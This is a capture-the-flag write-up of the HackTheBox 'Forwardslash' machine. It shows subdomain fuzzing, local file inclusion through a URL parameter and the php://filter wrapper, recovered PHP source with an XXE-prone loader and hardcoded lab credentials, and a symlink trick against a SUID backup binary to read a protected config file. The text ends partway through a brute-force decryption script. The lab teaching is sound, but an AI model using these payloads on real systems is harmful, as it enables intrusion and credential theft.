Post

Hackthebox Forwardslash writeup

Introduction@forwardslash:~$

Column Details
Name forwardslash
IP 10.10.10.183
Points 40
Os Linux
Difficulty Hard
Creator InfoSecJack and Chivato
Out On 4 April 2020

Brief@forwardslash:~$

The journey of the Machine Forwardslash starts with finding a subdomain.And then a lfi by using php Wrapper do all the work for us , and inclusion of a file that is forbidden for us.The file has credentials for user.A suid is owned by user pain and which is generating md5sum of timestamp and if we run the config.php.bak with that timestamp we got pain user credentials.Getting the key after analyzing the python script.User pain can mount images with privilege of root and hence we got private ssh keys of user root.

Summary

  • Finding the SubDomain using wfuzz
  • Testing for Local File Inclusion
  • Using php wrapper to extract the forbidden /dev dir content
  • Login as Chiv
  • After analyzing the suid binary backup and config.php.bak getting pain credentials
  • Login as Pain
  • Got User.txt
  • Analyzing the python script from the dir encryptorinator
  • Getting the key from the script.
  • User pain may run some command as sudo.
  • Mounting the Images to ~/mnt after using that key.
  • Login as Root
  • Got root.txt

Pwned

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  forwardslash nmap -sV -sC -T4 -p- -oA nmap.full forwardslash.htb
# Nmap 7.80 scan initiated Thu Apr  9 15:20:58 2020 as: nmap -sV -sC -T4 -p- -oA nmap.full forwardslash.htb
Nmap scan report for forwardslash.htb (10.10.10.183)
Host is up (0.25s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr  9 15:33:12 2020 -- 1 IP address (1 host up) scanned in 734.16 seconds
➜  forwardslash 

Only Two ports are opened 80:httpand 22:ssh.So for sure we need to start from port 80.

Port 80 –

It has a fancy web page saying that its been hacked!

port-80

Running Gobuster doesnt show me anything useful.So i tried to enumerate subdomain.

Wfuzz For finding subdomain

  • –hh = for hinding the result which has content length 0
  • –hc = for hiding result which have response 400
  • -c = for making the result colorful
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  forwardslash wfuzz  --hh 0  -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ --hc 400 -w /usr/share/wordlists/wfuzz/general/common.txt -c


Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's' documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.183/
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000000088:   302        0 L      6 W      33 Ch       "backup"                                                                             

Total time: 35.30510
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 26.87996

Here we got a subdomain backup the final result will be backup.forwardslash.htb, I added it to /etc/hosts file

1
➜  forwardslash echo -e "10.10.10.183\tbackup.forwardslash.htb" >> /etc/hosts

Now i ran gobuster on the initial page of the subdomain.

Gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  forwardslash gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k   -x "txt,html,php,asp,aspx,jpg" -u http://backup.forwardslash.htb/ -o gobuster-result 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://backup.forwardslash.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,asp,aspx,jpg,txt,html
[+] Follow Redir:   true
[+] Timeout:        10s
===============================================================
2020/04/21 10:27:17 Starting gobuster
===============================================================
/index.php (Status: 200)
/login.php (Status: 200)
/register.php (Status: 200)
/welcome.php (Status: 200)
/dev (Status: 403)
/api.php (Status: 200)
/environment.php (Status: 200)
/logout.php (Status: 200)
/config.php (Status: 200)
/hof.php (Status: 200)

There are so many file some with 200 and /dev dir has a 403 response.

Lets browse it on browser.

Login page

It has a login page and we can sign up there too as there is a sign up option.

signup page

i Signed up there easily. And now i can login simply to check whats inside it.

There is a welcome page and some of the options we saw on the gobuster result.

Welcome page

Local File Inclusion

There is a /profilepicture.php where the input and submit option . We can enable the disabled attributes by inspect-element.

Editing-html attribute

I just enter a test value in the input field and intercept the request using burp for hit and trials.Send it to Repeater.

it send a image url to test that what will be the result.The request was the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 83
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close

url=https://raw.githubusercontent.com/0xprashant/hackthebox-images/master/magic.png

And the response was

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:07:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 689
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Change your Profile Picture!</h1>
	<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
    </div>
<form action="/profilepicture.php" method="post">
        URL:
        <input type="text" name="url" disabled style="width:600px"><br>
        <input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>

Basically it was nothing the page didnt do somehting

Testing LFI

I send the file:///etc/passwd in the url parameter and the request is following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 22
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close

url=file:///etc/passwd

The response is the following that i got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:08:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2349
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Change your Profile Picture!</h1>
	<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
    </div>
<form action="/profilepicture.php" method="post">
        URL:
        <input type="text" name="url" disabled style="width:600px"><br>
        <input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

And hell yeah we got the lfi working.And now i remember the /dev dir that was forbidden for us.

Now we can try to extract that file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 57
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close

url=file:///var/www/backup.forwardslash.htb/dev/index.php

Response was

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:15:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 723
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Change your Profile Picture!</h1>
	<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
    </div>
<form action="/profilepicture.php" method="post">
        URL:
        <input type="text" name="url" disabled style="width:600px"><br>
        <input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
Permission Denied; not that way ;)

We got a line at the last Permission Denied; not that way ;) hmmm…cool.!!

Now here it comes the main thing.We can try to include the php files using php Wrapper.

You can read about it on PayloadAllTheThings

now i try to include the /var/www/backup.forwardslash.htb/dev/index.php.

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 101
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close

url=php://filter/convert.base64-encode/resource=file:///var/www/backup.forwardslash.htb/dev/index.php

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:23:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3361
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <link rel="stylesheet" href="bootstrap.css">
    <style type="text/css">
        body{ font: 14px sans-serif; text-align: center; }
    </style>
</head>
<body>
    <div class="page-header">
        <h1>Change your Profile Picture!</h1>
	<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
    </div>
<form action="/profilepicture.php" method="post">
        URL:
        <input type="text" name="url" disabled style="width:600px"><br>
        <input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K

At the last of the response if you decode it as base64 , We can get the full php file i.e /dev/index.php

Base64 decode

Here is the full php-code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
    exit;
}
?>
<html>
	<h1>XML Api Test</h1>
	<h3>This is our api test for when our new website gets refurbished</h3>
	<form action="/dev/index.php" method="get" id="xmltest">
		<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
    <request>test</request>
</api>
</textarea>
		<input type="submit">
	</form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

	$reg = '/ftp:\/\/[\s\S]*\/\"/';
	//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

	if (preg_match($reg, $_GET['xml'], $match)) {
		$ip = explode('/', $match[0])[2];
		echo $ip;
		error_log("Connecting");

		$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

		error_log("Logging in");

		if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

			error_log("Getting file");
			echo ftp_get_string($conn_id, "debug.txt");
		}

		exit;
	}

	libxml_disable_entity_loader (false);
	$xmlfile = $_GET["xml"];
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$api = simplexml_import_dom($dom);
	$req = $api->request;
	echo "-----output-----<br>\r\n";
	echo "$req";
}

function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        rewind($temp);
        return stream_get_contents($temp);
    }
    else {
        return false;
    }
}

?>

The most interesting line is

1
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

since there is not any ftp port opened , we can conclude that the credentials are of ssh of user chiv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  prashant sshpass -p N0bodyL1kesBack/ ssh chiv@10.10.10.183
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Apr 21 11:30:42 UTC 2020

  System load:  0.0                Processes:            164
  Usage of /:   30.6% of 19.56GB   Users logged in:      0
  Memory usage: 12%                IP address for ens33: 10.10.10.183
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

16 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Apr 21 07:35:26 2020 from 10.10.14.52
chiv@forwardslash:~$ 

And finally we are logged in as chiv.Still we dont have permissions to read the user.txt cause its owned by user pain.

1
-rw------- 1 pain pain   33 Apr 21 06:08 user.txt

Privilege-escalation to Pain

Now i ran LinEnum.sh For Getting a way to be pain.And a interesting thing that i got is a SUID binary that is owned by Pain

1
2
[-] SUID files:
-r-sr-xr-x 1 pain pain 13384 Mar  6 10:06 /usr/bin/backup

And one more interesting thing there is a file called config.php.bak which is also owned by user pain.But dont have permission to r/w/x.

Analyzing the backup binary

Its a custom binary which has following output

1
2
3
4
5
6
7
8
9
10
chiv@forwardslash:/var/www/backup.forwardslash.htb$ backup
----------------------------------------------------------------------
	Pains Next-Gen Time Based Backup Viewer
	v0.1
	NOTE: not reading the right file yet, 
	only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 11:56:51
ERROR: d99c2c7f8fe2c01787f88e9974e4f1fa Does Not Exist or Is Not Accessible By Me, Exiting...

The hash that its generating changes everytime and the hash is md5 i can confirm it with hash-identifier.

After hitting some walls i just looked at the lines

1
2
3
4
	Pain's Next-Gen Time Based Backup Viewer
	v0.1
	NOTE: not reading the right file yet, 
	only works if backup is taken in same second

Its saying it is a time based Backup Viewer maybe the md5sum that is being generated its of the current timestamp including seconds thats why its changing everytime when you run it again.

Here i made a bash script just for checking the md5 value if it will be same.

1
2
3
time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo $time
backup

And i ran it

1
2
3
4
5
6
7
8
9
10
11
12
chiv@forwardslash:~$ ./time.sh 
834e8e2a2c83f1b3e2dbfe3929e24b34
----------------------------------------------------------------------
	Pains Next-Gen Time Based Backup Viewer
	v0.1
	NOTE: not reading the right file yet, 
	only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 12:06:24
ERROR: 834e8e2a2c83f1b3e2dbfe3929e24b34 Does Not Exist or Is Not Accessible By Me, Exiting...
chiv@forwardslash:~$ 

Here i got the same md5 hash , but what now. Then i remember the config.php.bak that was stated as the old config file backup and from the backup binary we can view backup since its a backup viewer.

Here i made a bash script which will do all the magic stuff.

1
2
3
4
5
6
#!/bin/bash

time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo "$time"
ln -s /var/backups/config.php.bak /home/chiv/$time
backup

This will create a timestamp of the current time and convert it to md5 . And then it will link the config.php.bak file with the time variable and then run the backup binary.This will show us the content of the config.php.bak file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
chiv@forwardslash:~$ ./time.sh 
47771ddc7eb2d50853a6bf5c4ab81c69
----------------------------------------------------------------------
	Pains Next-Gen Time Based Backup Viewer
	v0.1
	NOTE: not reading the right file yet, 
	only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 12:28:58
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
 
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
 
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>

And here we got the user pain credentials for the mysql datatbase.If you switch to user pain using the following password we got.

1
2
3
chiv@forwardslash:~$ su - pain
Password: 
pain@forwardslash:~$

Got user.txt@forwardslash:~$

1
2
3
pain@forwardslash:~$ cat user.txt
dcf---------------------------a2
pain@forwardslash:~$ 

Privilege Escalation to root

The user pain can run the following commands with sudo privileges without a password

1
2
3
4
5
6
7
8
pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/

cryptsetup is used to map the images generally of a backup images.And then we can mount the mapped images to any dir and access the files in it.

There is a python script called encrypter.py and and ciphertext in the dir called encryptorinator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

So i just analyzed the code and i was able decrypt the ciphertext with the following script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165): 
    for j in range(33, 127): 
        key = chr(j) * i
